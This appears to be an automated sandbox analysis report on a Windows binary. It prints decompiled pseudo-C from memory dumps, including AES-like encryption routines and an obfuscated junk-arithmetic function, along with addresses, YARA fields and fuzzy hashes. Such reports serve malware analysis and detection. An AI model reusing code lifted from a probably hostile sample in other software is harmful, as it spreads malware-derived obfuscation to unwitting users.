                						_t603 =  *(__eax + 4 + (_t560 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_t383 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[5];
                						_v12 = _t560;
                						asm("ror edi, 0x8");
                						asm("ror ebx, 0x10");
                						asm("rol ebx, 0x8");
                						_v16 =  *(__eax + 4 + (_t560 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v8 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 >> 0x00000018 & 0x000000ff) * 4) ^ _t409[6];
                						asm("ror ebx, 0x10");
                						asm("ror edi, 0x8");
                						asm("rol edi, 0x8");
                						_t409 =  &(_t409[8]);
                						_t205 =  &_a4;
                						 *_t205 = _a4 - 1;
                						_v12 =  *(__eax + 4 + (_v8 >> 0x00000008 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v20 >> 0x00000010 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v24 & 0x000000ff) * 4) ^  *(__eax + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) ^  *(_t409 - 4);
                					} while ( *_t205 != 0);
                				}
                				asm("ror ebx, 0x8");
                				asm("rol edi, 0x8");
                				 *_a8 = (( *(_t273 + 4 + (_t429 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t603 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v16 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_v12 & 0x000000ff) * 4) & 0x000000ff ^  *_t409) & 0xff00ff00 | (( *(_t273 + 4 + (_t429 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t603 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v16 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_v12 & 0x000000ff) * 4) & 0x000000ff ^  *_t409) & 0x00ff00ff;
                				asm("ror ebx, 0x8");
                				asm("rol edi, 0x8");
                				_a8[1] = (( *(_t273 + 4 + (_t603 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v16 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t429 & 0x000000ff) * 4) & 0x000000ff ^ _t409[1]) & 0xff00ff00 | (( *(_t273 + 4 + (_t603 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v16 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_v12 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t429 & 0x000000ff) * 4) & 0x000000ff ^ _t409[1]) & 0x00ff00ff;
                				asm("ror ebx, 0x8");
                				asm("rol edi, 0x8");
                				_t358 = _a8;
                				_t358[2] = (( *(_t273 + 4 + (_v16 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t429 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t603 & 0x000000ff) * 4) & 0x000000ff ^ _t409[2]) & 0xff00ff00 | (( *(_t273 + 4 + (_v16 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_v12 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t429 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t273 + 5 + (_t603 & 0x000000ff) * 4) & 0x000000ff ^ _t409[2]) & 0x00ff00ff;
                				_t274 =  *(_t273 + 5 + (_v16 & 0x000000ff) * 4) & 0x000000ff;
                				asm("ror ecx, 0x8");
                				asm("rol edi, 0x8");
                				_t358[3] = (( *(_t273 + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t429 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t603 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^ _t274 ^ _t409[3]) & 0xff00ff00 | (( *(_t273 + 4 + (_v12 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t273 + 4 + (_t429 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t273 + 4 + (_t603 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^ _t274 ^ _t409[3]) & 0x00ff00ff;
                				return _t274;
                			}



















                0x0043234d
                0x0043235c
                0x00432365
                0x00432373
                0x00432377
                0x00432380
                0x00432391
                0x00432394
                0x00432399
                0x004323a2
                0x004323b0
                0x004323b5
                0x004323be
                0x004323ce
                0x004323ee
                0x004323f1
                0x00432403
                0x00432408
                0x0043241d
                0x0043243a
                0x0043243d
                0x0043244e
                0x00432463
                0x00432483
                0x00432486
                0x00432498
                0x004324b6
                0x004324d3
                0x004324d6
                0x004324e8
                0x004324fd
                0x00432503
                0x0043250b
                0x0043250c
                0x0043250f
                0x0043251d
                0x0043252d
                0x0043253f
                0x00432551
                0x0043256d
                0x00432580
                0x0043258d
                0x0043259e
                0x004325b5
                0x004325d7
                0x004325da
                0x004325eb
                0x00432606
                0x0043261d
                0x00432620
                0x00432632
                0x0043263a
                0x0043264f
                0x0043266c
                0x0043266f
                0x00432680
                0x004326a4
                0x004326b4
                0x004326b7
                0x004326c9
                0x004326e1
                0x004326e4
                0x004326f7
                0x00432704
                0x00432716
                0x0043272e
                0x00432751
                0x00432754
                0x00432766
                0x0043277b
                0x00432781
                0x00432781
                0x00432784
                0x00432784
                0x0043251d
                0x004327e8
                0x004327f1
                0x004327ff
                0x0043285d
                0x00432866
                0x00432874
                0x004328d6
                0x004328df
                0x004328ec
                0x004328ef
                0x0043293b
                0x00432947
                0x00432950
                0x0043295d
                0x00432964

                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 937a55679482902739b3c28cbd4d4033f685ec815d12dd2f022c6521ee9f93e4
                • Instruction ID: 025e5c047c2a48c6ce12eda6503069efe036145a0195189aa1bd09603bc0352b
                • Opcode Fuzzy Hash: 937a55679482902739b3c28cbd4d4033f685ec815d12dd2f022c6521ee9f93e4
                • Instruction Fuzzy Hash: 40026E73E547164FE720CE4ACDC4725B3A3EFC8301F5B81B8CA142B613CA39BA525A90
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 67%
                			E0043212D(intOrPtr _a4, signed int* _a8, signed int* _a12, intOrPtr _a16) {
                				signed int _t66;
                				signed int* _t69;
                				signed int* _t81;
                				signed int _t94;
                				signed int _t96;
                				signed int _t106;
                				signed int _t108;
                				signed int* _t110;
                				signed int _t127;
                				signed int _t129;
                				signed int _t133;
                				signed int _t152;
                				intOrPtr _t171;
                
                				_t81 = _a12;
                				_t110 = _a8;
                				asm("ror esi, 0x8");
                				asm("rol eax, 0x8");
                				 *_t110 =  *_t81 & 0xff00ff00 |  *_t81 & 0x00ff00ff;
                				asm("ror edi, 0x8");
                				asm("rol esi, 0x8");
                				_t110[1] = _t81[1] & 0xff00ff00 | _t81[1] & 0x00ff00ff;
                				asm("ror edi, 0x8");
                				asm("rol esi, 0x8");
                				_t110[2] = _t81[2] & 0xff00ff00 | _t81[2] & 0x00ff00ff;
                				_t66 =  &(_t110[1]);
                				asm("ror edi, 0x8");
                				asm("rol esi, 0x8");
                				_t110[3] = _t81[3] & 0xff00ff00 | _t81[3] & 0x00ff00ff;
                				asm("ror edi, 0x8");
                				asm("rol esi, 0x8");
                				_t110[4] = _t81[4] & 0xff00ff00 | _t81[4] & 0x00ff00ff;
                				asm("ror edi, 0x8");
                				asm("rol esi, 0x8");
                				_t110[5] = _t81[5] & 0xff00ff00 | _t81[5] & 0x00ff00ff;
                				asm("ror edi, 0x8");
                				asm("rol esi, 0x8");
                				_t110[6] = _t81[6] & 0xff00ff00 | _t81[6] & 0x00ff00ff;
                				asm("ror esi, 0x8");
                				asm("rol ecx, 0x8");
                				_t110[7] = _t81[7] & 0xff00ff00 | _t81[7] & 0x00ff00ff;
                				if(_a16 != 0x100) {
                					L4:
                					return _t66 | 0xffffffff;
                				} else {
                					_t171 = _a4;
                					_t69 = 0;
                					_a12 = 0;
                					while(1) {
                						_t152 =  *(_t66 + 0x18);
                						_t94 = ( *(_t171 + 4 + (_t152 >> 0x00000010 & 0x000000ff) * 4) & 0xffff0000 ^ ( *(_t171 +  &(_t69[0x241])) & 0x000000ff) << 0x00000010) << 0x00000008 ^  *(_t171 + 4 + (_t152 >> 0x00000008 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t171 + 5 + (_t152 >> 0x00000018 & 0x000000ff) * 4) & 0x000000ff ^  *(_t171 + 4 + (_t152 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t66 - 4);
                						_t127 =  *_t66 ^ _t94;
                						 *(_t66 + 0x1c) = _t94;
                						_t96 =  *(_t66 + 4) ^ _t127;
                						 *(_t66 + 0x20) = _t127;
                						_t129 =  *(_t66 + 8) ^ _t96;
                						 *(_t66 + 0x24) = _t96;
                						 *(_t66 + 0x28) = _t129;
                						if(_t69 == 6) {
                							break;
                						}
                						_t106 = ( *(_t171 + 4 + (_t129 >> 0x00000018 & 0x000000ff) * 4) & 0xffff0000) << 0x00000008 ^  *(_t171 + 4 + (_t129 >> 0x00000010 & 0x000000ff) * 4) & 0x00ff0000 ^  *(_t171 + 4 + (_t129 >> 0x00000008 & 0x000000ff) * 4) & 0x0000ff00 ^  *(_t171 + 5 + (_t129 & 0x000000ff) * 4) & 0x000000ff ^  *(_t66 + 0xc);
                						_t133 =  *(_t66 + 0x10) ^ _t106;
                						 *(_t66 + 0x2c) = _t106;
                						_t108 =  *(_t66 + 0x14) ^ _t133;
                						 *(_t66 + 0x34) = _t108;
                						_t69 =  &(_a12[0]);
                						 *(_t66 + 0x30) = _t133;
                						 *(_t66 + 0x38) = _t108 ^ _t152;
                						_t66 = _t66 + 0x20;
                						_a12 = _t69;
                						if(_t69 < 7) {
                							continue;
                						} else {
                							goto L4;
                						}
                						goto L6;
                					}
                					return 0xe;
                				}
                				L6:
                			}
















                0x00432130
                0x00432135
                0x0043213d
                0x00432146
                0x00432150
                0x00432157
                0x00432160
                0x0043216b
                0x00432173
                0x0043217c
                0x00432187
                0x0043218d
                0x00432192
                0x0043219b
                0x004321a6
                0x004321ae
                0x004321b7
                0x004321c2
                0x004321ca
                0x004321d3
                0x004321de
                0x004321e6
                0x004321ef
                0x004321fa
                0x00432202
                0x0043220b
                0x0043221d
                0x00432220
                0x0043233c
                0x00432341
                0x00432226
                0x00432226
                0x00432229
                0x0043222b
                0x0043222e
                0x0043222e
                0x00432293
                0x00432298
                0x0043229a
                0x004322a0
                0x004322a2
                0x004322a8
                0x004322aa
                0x004322ad
                0x004322b3
                0x00000000
                0x00000000
                0x0043230f
                0x00432315
                0x00432317
                0x0043231d
                0x0043231f
                0x00432324
                0x00432325
                0x00432328
                0x0043232b
                0x0043232e
                0x00432334
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x00432334
                0x0043234b
                0x0043234b
                0x00000000

                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: baad548f5feed02f012b2fc10accbe050e72558d66b692510d210734a80849a9
                • Instruction ID: 51b0e017ab30b599ac76b542f1ab9aab554fc8edb771d31670a7a461a4100eac
                • Opcode Fuzzy Hash: baad548f5feed02f012b2fc10accbe050e72558d66b692510d210734a80849a9
                • Instruction Fuzzy Hash: 1651A0B3E14A214BD3188E09CD40632B792FFC8312B5F81BEDD199B357CA74E9529A90
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 100%
                			E004303CD(signed char* __eax) {
                				signed char* _t37;
                				unsigned int _t65;
                				unsigned int _t73;
                				unsigned int _t81;
                				unsigned int _t88;
                				signed char _t94;
                				signed char _t97;
                				signed char _t100;
                
                				_t37 = __eax;
                				_t65 = ((((__eax[0xc] & 0x000000ff) << 0x00000008 | __eax[0xd] & 0x000000ff) & 0x0000ffff) << 0x00000008 | __eax[0xe] & 0xff) << 0x00000007 | (__eax[0xf] & 0x000000ff) >> 0x00000001;
                				_t94 = __eax[0xb];
                				if((_t94 & 0x00000001) != 0) {
                					_t65 = _t65 | 0x80000000;
                				}
                				_t37[0xc] = _t65 >> 0x18;
                				_t37[0xf] = _t65;
                				_t37[0xd] = _t65 >> 0x10;
                				_t73 = ((((_t37[8] & 0x000000ff) << 0x00000008 | _t37[9] & 0x000000ff) & 0x0000ffff) << 0x00000008 | _t37[0xa] & 0xff) << 0x00000007 | (_t94 & 0x000000ff) >> 0x00000001;
                				_t97 = _t37[7];
                				_t37[0xe] = _t65 >> 8;
                				if((_t97 & 0x00000001) != 0) {
                					_t73 = _t73 | 0x80000000;
                				}
                				_t37[8] = _t73 >> 0x18;
                				_t37[0xb] = _t73;
                				_t37[9] = _t73 >> 0x10;
                				_t81 = ((((_t37[4] & 0x000000ff) << 0x00000008 | _t37[5] & 0x000000ff) & 0x0000ffff) << 0x00000008 | _t37[6] & 0xff) << 0x00000007 | (_t97 & 0x000000ff) >> 0x00000001;
                				_t100 = _t37[3];
                				_t37[0xa] = _t73 >> 8;
                				if((_t100 & 0x00000001) != 0) {
                					_t81 = _t81 | 0x80000000;
                				}
                				_t37[4] = _t81 >> 0x18;
                				_t37[7] = _t81;
                				_t37[5] = _t81 >> 0x10;
                				_t88 = (((_t37[1] & 0x000000ff) << 0x00000008 | _t37[2] & 0x000000ff) & 0x00ffffff | ( *_t37 & 0x000000ff) << 0x00000010) << 0x00000007 | (_t100 & 0x000000ff) >> 0x00000001;
                				 *_t37 = _t88 >> 0x18;
                				_t37[1] = _t88 >> 0x10;
                				_t37[6] = _t81 >> 8;
                				_t37[2] = _t88 >> 8;
                				_t37[3] = _t88;
                				return _t37;
                			}











                0x004303cd
                0x004303f8
                0x004303fa
                0x00430400
                0x00430402
                0x00430402
                0x0043040e
                0x00430413
                0x00430419
                0x00430449
                0x0043044b
                0x00430451
                0x00430457
                0x00430459
                0x00430459
                0x00430468
                0x0043046d
                0x00430473
                0x0043049e
                0x004304a0
                0x004304a6
                0x004304ac
                0x004304ae
                0x004304ae
                0x004304bd
                0x004304c5
                0x004304c8
                0x004304ec
                0x004304f3
                0x004304fa
                0x00430506
                0x00430509
                0x0043050c
                0x00430510

                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: a4f1a47e469db01a1eef6c7f2d5b49e19d955ffd97c7228385fc8c35807cfa85
                • Instruction ID: 6cb72ca2f39e68790b2a03e51decbacbe64190c4ec633e5f58f5a43a9cdd5a3b
                • Opcode Fuzzy Hash: a4f1a47e469db01a1eef6c7f2d5b49e19d955ffd97c7228385fc8c35807cfa85
                • Instruction Fuzzy Hash: 1D3160116587F14ED31E836D08BD675AEC18EA720174EC2EEDADA6F2F3C4888418D3A5
                Uniqueness

                Uniqueness Score: -1.00%

                Memory Dump Source
                • Source File: 00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmp, Offset: 021C0000, based on PE: false
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 9036742510f1a3af60650944ec83c1a799c51ce99059a9c20134d763ddd59e68
                • Instruction ID: 26530446f5c2236edaae43678e3b28e536b840df555037a079aa2bf5f8b79a15
                • Opcode Fuzzy Hash: 9036742510f1a3af60650944ec83c1a799c51ce99059a9c20134d763ddd59e68
                • Instruction Fuzzy Hash: 2E412574605345DFDB289F39C8987DAB7A2FF58350F86811DCC9A97254DB348A81CF81
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 32%
                			E00422F20(signed char __eax, signed char __ebx, void* __ecx, signed char __edx, void* __edi, signed int __esi, void* __eflags) {
                				void* _v280635255;
                				signed char _t12;
                				void* _t13;
                				void* _t14;
                				signed char _t16;
                				void* _t21;
                				signed char _t25;
                				void* _t28;
                				signed int _t30;
                				intOrPtr _t37;
                				void* _t40;
                				signed int _t42;
                
                				_t40 = __eflags;
                				_t30 = __esi;
                				_t28 = __edi;
                				_t25 = __edx;
                				_t21 = __ecx;
                				_t16 = __ebx;
                				_t12 = __eax;
                				goto L1;
                				do {
                					do {
                						do {
                							do {
                								do {
                									L1:
                									 *0x939ff7b7 =  *0x939ff7b7 >> 0x85;
                									asm("sbb cl, [0x8f83e7b0]");
                								} while (_t40 == 0);
                								 *0xc419e217 =  *0xc419e217 << 0x8f;
                								 *0x84e5c4bb =  *0x84e5c4bb << 0x88;
                								_t42 =  *0x84e5c4bb;
                							} while (_t42 != 0);
                							_push( *0xdd634e75);
                							_t3 = _t25;
                							_t25 =  *0xaeb00218;
                							 *0xaeb00218 = _t3;
                						} while (_t42 >= 0);
                						_pop( *0xe77cd173);
                						asm("lodsb");
                						_t4 = _t37;
                						_t37 =  *0xef4544a1;
                						 *0xef4544a1 = _t4;
                						 *0xa8e0cc32 = _t16;
                						asm("rol dword [0xefca2585], 0x8d");
                						asm("rcl byte [0xe0cc32b2], 0x32");
                						 *0xa616efa8 =  *0xa616efa8 ^ _t25;
                						asm("rol byte [0xa91945c6], 0x3f");
                						asm("rcr dword [0xcc32c1da], 0x16");
                						_t30 = _t30 |  *0xc4a80099;
                						asm("rcl byte [0xef45d8a8], 0x84");
                						 *0x98b7a16 =  *0x98b7a16 >> 0x9b;
                						asm("rcl byte [0xc1c68ff2], 0x8d");
                						_t16 = (_t16 ^  *0xc02c16ef) -  *0xa8e0cc32;
                						_t40 = 0x8181606;
                					} while (0x8181606 != 0);
                					_t13 = _t12 + 1;
                					_push(_t13);
                					_t37 = _t37 +  *0xef45d88d;
                					asm("rcr dword [0x81d04116], 0x6");
                					 *0x4052173a =  *0x4052173a + _t25;
                					_push(_t13);
                					asm("sbb ebp, 0xef45d88d");
                					asm("rcl byte [0x4052173a], 0xb2");
                					_t14 = _t13;
                					 *0xaddd0fb4 =  *0xaddd0fb4 + _t21;
                					asm("sbb ebp, 0x87dbae16");
                					_t25 = _t25 ^  *0x9cba1d16 ^ 0x453d99a1;
                					asm("adc eax, [0x32ee16ef]");
                					_push( *0x1db40ffd);
                					asm("adc ecx, [0xe0cc3283]");
                					 *0xcc32c1ef =  *0xcc32c1ef - _t28;
                					asm("adc dl, [0x16efa8e0]");
                					 *0x17ff2f8a =  *0x17ff2f8a ^ _t25;
                					asm("sbb ebp, 0x32bfddbe");
                					asm("adc eax, 0xefa8e0cc");
                					asm("sbb ebx, [0xc5f7c62b]");
                					_t12 = _t14 +  *0xa8e0cc32;
                					asm("rol dword [0xd9b004fa], 0x4b");
                					_t16 = ((_t16 |  *0x81c42916) ^  *0x2b16efa8 ^  *0x7093ff16) +  *0x2116efa8;
                					 *0x395fc0d6 =  *0x395fc0d6 & _t16;
                					_t21 = _t21 -  *0xe7553110 - 1;
                					asm("sbb [0xa2f716d2], cl");
                				} while (_t21 <= 0);
                				 *0x395f828e = _t25;
                				 *0xe0cc32cc =  *0xe0cc32cc >> 0x65;
                				 *0xa816efa8 =  *0xa816efa8 ^ _t16;
                				 *0x16efa8e0 =  *0x16efa8e0 >> 0x47;
                				 *0xccf9af86 =  *0xccf9af86 |  *0x1269e8e;
                				return _t12 ^  *0x9d8d8ce2;
                			}















                0x00422f20
                0x00422f20
                0x00422f20
                0x00422f20
                0x00422f20
                0x00422f20
                0x00422f20
                0x00422f21
                0x00422f23
                0x00422f23
                0x00422f23
                0x00422f23
                0x00422f23
                0x00422f23
                0x00422f23
                0x00422f2a
                0x00422f2a
                0x00422f38
                0x00422f3f
                0x00422f3f
                0x00422f3f
                0x00422f49
                0x00422f4f
                0x00422f4f
                0x00422f4f
                0x00422f4f
                0x00422f57
                0x00422f5d
                0x00422f5e
                0x00422f5e
                0x00422f5e
                0x00422f70
                0x00422f7c
                0x00422f83
                0x00422f8a
                0x00422f90
                0x00422f97
                0x00422faa
                0x00422fb0
                0x00422fb7
                0x00422fbe
                0x00422fc5
                0x00422fcb
                0x00422fcb
                0x00422fdd
                0x00422fde
                0x00422fdf
                0x00422fe5
                0x00422fec
                0x00422ff2
                0x00422ff3
                0x00422fff
                0x00423013
                0x00423014
                0x00423020
                0x0042302c
                0x00423032
                0x00423038
                0x0042303e
                0x00423050
                0x00423056
                0x0042305c
                0x00423062
                0x00423068
                0x00423073
                0x00423079
                0x00423085
                0x00423092
                0x004230a0
                0x004230a6
                0x004230a7
                0x004230a7
                0x004230b9
                0x004230cc
                0x004230d3
                0x004230e5
                0x00423104
                0x0042310a

                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 2eac6be4dd7c03a7ae2d59cc44ddd41d2566618236cd92f01362820f6e6577ab
                • Instruction ID: 415db6beb0e0e2e01e1d812434b3913521ada7f91b6aaea3141ff94674fbed0a
                • Opcode Fuzzy Hash: 2eac6be4dd7c03a7ae2d59cc44ddd41d2566618236cd92f01362820f6e6577ab
                • Instruction Fuzzy Hash: 1D41F47194C3D1DFDB02EF78E8E96123FB4E756220B49069DC8E14B1D2D764105ADB45
                Uniqueness

                Uniqueness Score: -1.00%

                Memory Dump Source
                • Source File: 00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmp, Offset: 021C0000, based on PE: false
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 87be0f1c794a4ce4bc70b1649c70ec75a817f1358de826f8aa21b1d94f9a38a6
                • Instruction ID: 066bd706aa617a7fb7b6323decff7f1f978ec2e92b8433e4a3903b5ee7a4b3c7
                • Opcode Fuzzy Hash: 87be0f1c794a4ce4bc70b1649c70ec75a817f1358de826f8aa21b1d94f9a38a6
                • Instruction Fuzzy Hash: BD3191742097C59BEF75CE78C890BCA7AA1AF52314F88829CCC994E1D7E3755142C742
                Uniqueness

                Uniqueness Score: -1.00%

                Memory Dump Source
                • Source File: 00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmp, Offset: 021C0000, based on PE: false
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 1e0f64a24153b2298991533c5953ebb4415c39835b5583d1591848693a785aa7
                • Instruction ID: 0ef3d123e95406dab6e83c7be1e1abeba0ddeb19eb61a90d2e519d70d2889b62
                • Opcode Fuzzy Hash: 1e0f64a24153b2298991533c5953ebb4415c39835b5583d1591848693a785aa7
                • Instruction Fuzzy Hash: 1E112379254689CFCB39CE18C9E9BDA73A0AF69711F64402AE908CB250D7309940CA10
                Uniqueness

                Uniqueness Score: -1.00%

                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: 6fdb5d962cb1f86e8147c9bd6198d47279a6e91c6587f141da967a87c653173b
                • Instruction ID: 74fc0706d39a7bc634382559c14bd00d220f343a0a708aa946c05706e07cdea6
                • Opcode Fuzzy Hash: 6fdb5d962cb1f86e8147c9bd6198d47279a6e91c6587f141da967a87c653173b
                • Instruction Fuzzy Hash: 45C04C70A451585BDB0889799E127EA76988305211F1402BD780FC2244E55E591055A6
                Uniqueness

                Uniqueness Score: -1.00%

                Memory Dump Source
                • Source File: 00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmp, Offset: 021C0000, based on PE: false
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: bb5fe23b5745a2d46426985e3011ccdb8457504994a31645ae0ceff59b0911d2
                • Instruction ID: e42a3bfa9f50545feff4b2a2024b7667a8d4a007d74d6b6bd9e38aae2c54c942
                • Opcode Fuzzy Hash: bb5fe23b5745a2d46426985e3011ccdb8457504994a31645ae0ceff59b0911d2
                • Instruction Fuzzy Hash: 92B092BA2015C18FEF02DF08C491B4073A0FB18648F8804D0E042CF712C224E900CA00
                Uniqueness

                Uniqueness Score: -1.00%

                Memory Dump Source
                • Source File: 00000000.00000002.834854327.00000000021C0000.00000040.00000001.sdmp, Offset: 021C0000, based on PE: false
                Yara matches
                Similarity
                • API ID:
                • String ID:
                • API String ID:
                • Opcode ID: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
                • Instruction ID: bebcbd0f18a999ce64e2d619b59837d29f74db5f3d96bd371bc818b82041d4c7
                • Opcode Fuzzy Hash: ab2d7faec90206d04624137dcf391b9a6c0b9a6dad95826754e4c5e29fff86cb
                • Instruction Fuzzy Hash: F9B00179662A80CFCE96CF09C290E40B3B4FB48B50F4258D0E8118BB22C268E900CA10
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 45%
                			E00442E77(void* __ebx, void* __edi, void* __esi, void* __fp0, intOrPtr* _a4) {
                				char _v8;
                				char _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v32;
                				char _v36;
                				long long _v40;
                				char _v48;
                				void* _v64;
                				char _v80;
                				char* _v88;
                				char _v96;
                				char _v100;
                				intOrPtr* _t71;
                				char* _t73;
                				char* _t74;
                				void* _t76;
                				intOrPtr* _t77;
                				void* _t78;
                				void* _t80;
                				intOrPtr* _t81;
                				void* _t82;
                				void* _t85;
                				intOrPtr* _t86;
                				void* _t87;
                				char* _t88;
                				intOrPtr _t90;
                				char* _t128;
                				intOrPtr* _t156;
                				intOrPtr* _t157;
                				intOrPtr* _t158;
                				intOrPtr* _t159;
                				intOrPtr* _t160;
                				intOrPtr* _t161;
                				void* _t162;
                				void* _t164;
                				intOrPtr _t165;
                				intOrPtr _t170;
                				void* _t180;
                
                				_t180 = __fp0;
                				_t165 = _t164 - 0x10;
                				 *[fs:0x0] = _t165;
                				_v20 = _t165 - 0x64;
                				_v16 = 0x4015d8;
                				_v12 = 0;
                				_v8 = 0;
                				_t71 = _a4;
                				 *((intOrPtr*)( *_t71 + 4))(_t71, __edi, __esi, __ebx,  *[fs:0x0], 0x401676, _t162);
                				_v32 = 0;
                				_v40 = 0;
                				_v36 = 0;
                				_v48 = 0;
                				_v64 = 0;
                				_v80 = 0;
                				_v96 = 0;
                				_v100 = 0;
                				_v88 = 0x43b848;
                				_t90 = 8;
                				_v96 = _t90;
                				L00401760();
                				_t73 =  &_v80;
                				_push(_t73);
                				L00401766();
                				L00401802();
                				if( ~(0 | _t73 != _t90) != 0) {
                					_t170 =  *0x445380; // 0x4be8cc
                					if(_t170 == 0) {
                						_push(0x445380);
                						_push(0x43b86c);
                						L00401838();
                					}
                					_t160 =  *0x445380; // 0x4be8cc
                					_t85 =  *((intOrPtr*)( *_t160 + 0x14))(_t160,  &_v64);
                					asm("fclex");
                					if(_t85 < 0) {
                						_push(0x14);
                						_push(0x43b85c);
                						_push(_t160);
                						_push(_t85);
                						L00401832();
                					}
                					_t86 = _v64;
                					_t161 = _t86;
                					_t87 =  *((intOrPtr*)( *_t86 + 0xc0))(_t86,  &_v100);
                					asm("fclex");
                					if(_t87 < 0) {
                						_push(0xc0);
                						_push(0x43b87c);
                						_push(_t161);
                						_push(_t87);
                						L00401832();
                					}
                					L0040182C();
                					_push(0);
                					L00401814();
                					_push(0);
                					_push(0x61);
                					_push(1);
                					_push(_t90);
                					_t88 =  &_v48;
                					_push(_t88);
                					_push(4);
                					_push(0x180);
                					L0040175A();
